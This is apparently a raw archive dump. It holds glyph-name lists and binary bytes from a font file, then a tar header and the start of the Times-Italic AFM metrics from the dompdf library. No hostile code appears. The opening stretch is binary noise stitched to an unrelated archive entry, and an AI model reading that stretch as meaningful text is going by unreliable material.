hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni0358uni0361uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0472uni0473uni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni04A2uni04A3uni04A4uni04A5uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D02uni1D08uni1D09uni1D14uni1D16uni1D17uni1D1Duni1D1Euni1D1Funi1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D62uni1D63uni1D64uni1D65uni1D77uni1D78uni1D7Buni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Buni1E9Funi1EA0uni1EA1uni1EACuni1EADuni1EB0uni1EB1uni1EB6uni1EB7uni1EB8uni1EB9uni1EBCuni1EBDuni1EC6uni1EC7uni1ECAuni1ECBuni1ECCuni1ECDuni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE8uni1EE9uni1EEAuni1EEBuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF8uni1EF9uni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023uni202Funi2031minuteseconduni2034uni2035uni2036uni2037	exclamdbluni203Duni203Euni203Funi2045uni2046uni2047uni2048uni2049uni204Buni205Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2102uni2105uni210Duni210Euni210Funi2115uni2116uni2117uni2119uni211Auni211Duni2124uni2126uni212Auni212B	estimateduni2148uni2150uni2151onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223
logicaland	logicalorintersectionunionuni222Cuni222D	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22B2uni22B3uni22B4uni22B5uni22B8uni22C2uni22C3uni22C4dotmathuni22C6uni22CDuni22CEuni22CFuni22D0uni22D1uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2312uni2313uni2314uni2315uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2325uni2326uni2327uni2328uni232Buni2335uni2336uni2337uni2338uni2339uni233Auni233Buni233Cuni233Duni233Euni233Funi2340uni2341uni2342uni2343uni2344uni2345uni2346uni2347uni2348uni2349uni234Auni234Buni234Cuni234Duni234Euni234Funi2350uni2351uni2352uni2353uni2354uni2355uni2356uni2357uni2358uni2359uni235Auni235Buni235Cuni235Duni235Euni235Funi2360uni2361uni2362uni2363uni2364uni2365uni2366uni2367uni2368uni2369uni236Auni236Buni236Cuni236Duni236Euni236Funi2370uni2371uni2372uni2373uni2374uni2375uni2376uni2377uni2378uni2379uni237Auni237Duni2380uni2381uni2382uni2383uni2388uni2389uni238Auni238Buni2395uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27C2uni27C5uni27C6uni27DCuni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F5uni27F6uni27F7uni2987uni2988uni2997uni2998uni29EBuni29FAuni29FBuni2A00uni2A2Funi2A6Auni2A6Buni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C64uni2C6Duni2C6Euni2C6Funi2C70uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Cuni2C7Duni2C7Euni2C7Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7AAuniA7F8uniA7F9uniF6C5uniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D55A	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaron
fractionslashuni0311.caseuni0306.caseuni0307.caseuni030B.caseuni030F.casethinquestionuni0304.caseunderbar
underbar.wideunderbar.smalljotdiaeresis.symbolsEng.altexclamdown.casequestiondown.caseuni2E18.case��@������֚�ԴG�}�%�2і���������}���2»�}���������Y������&�Y�@�&��/���/���2�������G������@��G��d���d����������k��������������������������Y��}�:�Y�:����
���
�����V������������
�����f
����������
���
�XA����W%�d�������]������%�]�@�%�����XA�~XA~�}�|d{dzy@�}x�w�v�u�tst2srqpq(po�n�m�lkldkjkji
h�gf
f
f@ed.e�d.cXAc�bYba`�a�`_]`�`�_[%_]_@^�]�\[%\�[%ZYZYXW%XAWVW%VU�T�SRS�RQ�P�O�NBNSM�LxKJ}K�J}IH�G�D�C�B2A@BAF@?-@B?>@�?->=�<�;�:9S:�98(9S8(7�6�5�4�3�2�1�0�/+/.d-�,+,+*�)(�'-'�&�%%2$�#�"�!-!1 d
2
@:�%�%��:�B�-B��
��:�
�		�@$-�-:-

�d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/Times-Italic.afm000066600000207027151150442760015454 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:56:55 1997
Comment UniqueID 43067
Comment VMusage 47727 58752
FontName Times-Italic
FullName Times Italic
FamilyName Times
Weight Medium
ItalicAngle -15.5
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -169 -217 1010 883
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 653
XHeight 441
Ascender 683
Descender -217
StdHW 32
StdVW 76
StartCharMetrics 317
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 160 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 39 -11 302 667 ;
C 34 ; WX 420 ; N quotedbl ; B 144 421 432 666 ;
C 35 ; WX 500 ; N numbersign ; B 2 0 540 676 ;
C 36 ; WX 500 ; N dollar ; B 31 -89 497 731 ;
C 37 ; WX 833 ; N percent ; B 79 -13 790 676 ;
C 38 ; WX 778 ; N ampersand ; B 76 -18 723 666 ;
C 146 ; WX 333 ; N quoteright ; B 151 436 290 666 ;
C 40 ; WX 333 ; N parenleft ; B 42 -181 315 669 ;
C 41 ; WX 333 ; N parenright ; B 16 -180 289 669 ;
C 42 ; WX 500 ; N asterisk ; B 128 255 492 666 ;
C 43 ; WX 675 ; N plus ; B 86 0 590 506 ;
C 44 ; WX 250 ; N comma ; B -4 -129 135 101 ;
C 45 ; WX 333 ; N hyphen ; B 49 192 282 255 ;
C 173 ; WX 333 ; N hyphen ; B 49 192 282 255 ;
C 46 ; WX 250 ; N period ; B 27 -11 138 100 ;
C 47 ; WX 278 ; N slash ; B -65 -18 386 666 ;
C 48 ; WX 500 ; N zero ; B 32 -7 497 676 ;
C 49 ; WX 500 ; N one ; B 49 0 409 676 ;
C 50 ; WX 500 ; N two ; B 12 0 452 676 ;
C 51 ; WX 500 ; N three ; B 15 -7 465 676 ;
C 52 ; WX 500 ; N four ; B 1 0 479 676 ;
C 53 ; WX 500 ; N five ; B 15 -7 491 666 ;
C 54 ; WX 500 ; N six ; B 30 -7 521 686 ;
C 55 ; WX 500 ; N seven ; B 75 -8 537 666 ;
C 56 ; WX 500 ; N eight ; B 30 -7 493 676 ;
C 57 ; WX 500 ; N nine ; B 23 -17 492 676 ;
C 58 ; WX 333 ; N colon ; B 50 -11 261 441 ;
C 59 ; WX 333 ; N semicolon ; B 27 -129 261 441 ;
C 60 ; WX 675 ; N less ; B 84 -8 592 514 ;
C 61 ; WX 675 ; N equal ; B 86 120 590 386 ;
C 62 ; WX 675 ; N greater ; B 84 -8 592 514 ;
C 63 ; WX 500 ; N question ; B 132 -12 472 664 ;
C 64 ; WX 920 ; N at ; B 118 -18 806 666 ;
C 65 ; WX 611 ; N A ; B -51 0 564 668 ;
C 66 ; WX 611 ; N B ; B -8 0 588 653 ;
C 67 ; WX 667 ; N C ; B 66 -18 689 666 ;
C 68 ; WX 722 ; N D ; B -8 0 700 653 ;
C 69 ; WX 611 ; N E ; B -1 0 634 653 ;
C 70 ; WX 611 ; N F ; B 8 0 645 653 ;
C 71 ; WX 722 ; N G ; B 52 -18 722 666 ;
C 72 ; WX 722 ; N H ; B -8 0 767 653 ;
C 73 ; WX 333 ; N I ; B -8 0 384 653 ;
C 74 ; WX 444 ; N J ; B -6 -18 491 653 ;
C 75 ; WX 667 ; N K ; B 7 0 722 653 ;
C 76 ; WX 556 ; N L ; B -8 0 559 653 ;
C 77 ; WX 833 ; N M ; B -18 0 873 653 ;
C 78 ; WX 667 ; N N ; B -20 -15 727 653 ;
C 79 ; WX 722 ; N O ; B 60 -18 699 666 ;
C 80 ; WX 611 ; N P ; B 0 0 605 653 ;
C 81 ; WX 722 ; N Q ; B 59 -182 699 666 ;
C 82 ; WX 611 ; N R ; B -13 0 588 653 ;
C 83 ; WX 500 ; N S ; B 17 -18 508 667 ;
C 84 ; WX 556 ; N T ; B 59 0 633 653 ;
C 85 ; WX 722 ; N U ; B 102 -18 765 653 ;
C 86 ; WX 611 ; N V ; B 76 -18 688 653 ;
C 87 ; WX 833 ; N W ; B 71 -18 906 653 ;
C 88 ; WX 611 ; N X ; B -29 0 655 653 ;
C 89 ; WX 556 ; N Y ; B 78 0 633 653 ;
C 90 ; WX 556 ; N Z ; B -6 0 606 653 ;
C 91 ; WX 389 ; N bracketleft ; B 21 -153 391 663 ;
C 92 ; WX 278 ; N backslash ; B -41 -18 319 666 ;
C 93 ; WX 389 ; N bracketright ; B 12 -153 382 663 ;
C 94 ; WX 422 ; N asciicircum ; B 0 301 422 666 ;
C 95 ; WX 500 ; N underscore ; B 0 -125 500 -75 ;
C 145 ; WX 333 ; N quoteleft ; B 171 436 310 666 ;
C 97 ; WX 500 ; N a ; B 17 -11 476 441 ;
C 98 ; WX 500 ; N b ; B 23 -11 473 683 ;
C 99 ; WX 444 ; N c ; B 30 -11 425 441 ;
C 100 ; WX 500 ; N d ; B 15 -13 527 683 ;
C 101 ; WX 444 ; N e ; B 31 -11 412 441 ;
C 102 ; WX 278 ; N f ; B -147 -207 424 678 ; L i fi ; L l fl ;
C 103 ; WX 500 ; N g ; B 8 -206 472 441 ;
C 104 ; WX 500 ; N h ; B 19 -9 478 683 ;
C 105 ; WX 278 ; N i ; B 49 -11 264 654 ;
C 106 ; WX 278 ; N j ; B -124 -207 276 654 ;
C 107 ; WX 444 ; N k ; B 14 -11 461 683 ;
C 108 ; WX 278 ; N l ; B 41 -11 279 683 ;
C 109 ; WX 722 ; N m ; B 12 -9 704 441 ;
C 110 ; WX 500 ; N n ; B 14 -9 474 441 ;
C 111 ; WX 500 ; N o ; B 27 -11 468 441 ;
C 112 ; WX 500 ; N p ; B -75 -205 469 441 ;
C 113 ; WX 500 ; N q ; B 25 -209 483 441 ;
C 114 ; WX 389 ; N r ; B 45 0 412 441 ;
C 115 ; WX 389 ; N s ; B 16 -13 366 442 ;
C 116 ; WX 278 ; N t ; B 37 -11 296 546 ;
C 117 ; WX 500 ; N u ; B 42 -11 475 441 ;
C 118 ; WX 444 ; N v ; B 21 -18 426 441 ;
C 119 ; WX 667 ; N w ; B 16 -18 648 441 ;
C 120 ; WX 444 ; N x ; B -27 -11 447 441 ;
C 121 ; WX 444 ; N y ; B -24 -206 426 441 ;
C 122 ; WX 389 ; N z ; B -2 -81 380 428 ;
C 123 ; WX 400 ; N braceleft ; B 51 -177 407 687 ;
C 124 ; WX 275 ; N bar ; B 105 -217 171 783 ;
C 125 ; WX 400 ; N braceright ; B -7 -177 349 687 ;
C 126 ; WX 541 ; N asciitilde ; B 40 183 502 323 ;
C 161 ; WX 389 ; N exclamdown ; B 59 -205 322 473 ;
C 162 ; WX 500 ; N cent ; B 77 -143 472 560 ;
C 163 ; WX 500 ; N sterling ; B 10 -6 517 670 ;
C -1 ; WX 167 ; N fraction ; B -169 -10 337 676 ;
C 165 ; WX 500 ; N yen ; B 27 0 603 653 ;
C 131 ; WX 500 ; N florin ; B 25 -182 507 682 ;
C 167 ; WX 500 ; N section ; B 53 -162 461 666 ;
C 164 ; WX 500 ; N currency ; B -22 53 522 597 ;
C 39 ; WX 214 ; N quotesingle ; B 132 421 241 666 ;
C 147 ; WX 556 ; N quotedblleft ; B 166 436 514 666 ;
C 171 ; WX 500 ; N guillemotleft ; B 53 37 445 403 ;
C 139 ; WX 333 ; N guilsinglleft ; B 51 37 281 403 ;
C 155 ; WX 333 ; N guilsinglright ; B 52 37 282 403 ;
C -1 ; WX 500 ; N fi ; B -141 -207 481 681 ;
C -1 ; WX 500 ; N fl ; B -141 -204 518 682 ;
C 150 ; WX 500 ; N endash ; B -6 197 505 243 ;
C 134 ; WX 500 ; N dagger ; B 101 -159 488 666 ;
C 135 ; WX 500 ; N daggerdbl ; B 22 -143 491 666 ;
C 183 ; WX 250 ; N periodcentered ; B 70 199 181 310 ;
C 182 ; WX 523 ; N paragraph ; B 55 -123 616 653 ;
C 149 ; WX 350 ; N bullet ; B 40 191 310 461 ;
C 130 ; WX 333 ; N quotesinglbase ; B 44 -129 183 101 ;
C 132 ; WX 556 ; N quotedblbase ; B 57 -129 405 101 ;
C 148 ; WX 556 ; N quotedblright ; B 151 436 499 666 ;
C 187 ; WX 500 ; N guillemotright ; B 55 37 447 403 ;
C 133 ; WX 889 ; N ellipsis ; B 57 -11 762 100 ;
C 137 ; WX 1000 ; N perthousand ; B 25 -19 1010 706 ;
C 191 ; WX 500 ; N questiondown ; B 28 -205 368 471 ;
C 96 ; WX 333 ; N grave ; B 121 492 311 664 ;
C 180 ; WX 333 ; N acute ; B 180 494 403 664 ;
C 136 ; WX 333 ; N circumflex ; B 91 492 385 661 ;
C 152 ; WX 333 ; N tilde ; B 100 517 427 624 ;
C 175 ; WX 333 ; N macron ; B 99 532 411 583 ;
C -1 ; WX 333 ; N breve ; B 117 492 418 650 ;
C -1 ; WX 333 ; N dotaccent ; B 207 548 305 646 ;
C 168 ; WX 333 ; N dieresis ; B 107 548 405 646 ;
C -1 ; WX 333 ; N ring ; B 155 492 355 691 ;
C 184 ; WX 333 ; N cedilla ; B -30 -217 182 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B 93 494 486 664 ;
